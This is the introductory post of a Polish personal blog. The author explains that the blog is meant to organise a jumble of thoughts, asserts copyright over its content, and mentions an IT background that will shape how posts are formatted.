W momencie gdy na raz przebiegnie przez czaszkę, z prawa na lewo, 40 milionów myśli zastanawiać się można co z tym wszystkim zrobić. Przychodzi chęć na skatalogowanie, usystematyzowanie, zapakowanie w pudełka i odstawienie na regały. Coś takiego właśnie zaczyna mieć miejsce.

Celem tego bloga jest nadanie sensu przypadkowemu nadmiarowi słów powstającemu od czasu do czasu bez sensu i niekiedy bez znaczenia. Dlatego też czytelniku nie miej za złe autorowi bałaganu, który prędzej czy później będzie widoczny bardziej niż tego można spodziewać się teraz.

UWAGA
Wszystko co pojawia się w moim blogu jest moim własnym tworem. Pewne odstępstwa mogą dotyczyć jedynie grafik, jednak wtedy zostanie to zaznaczone w poście z podaniem dokładnego źródła. W związku z powyższym jako właściciel praw do swojej twórczości zabraniam kopiowania treści z tego źródła bez uprzedniej konsultacji ze mną.

Jeszcze taka mała informacja. Jako człowiek związany z branżą IT od początku postaram się utrzymać porządek w tym kąciku sieci. Dlatego w postach obecne będą grafiki, dymki, wszelkiej maści przypisy i tym podobne. Mam nadzieję, że to ułatwi i usprawni komunikację.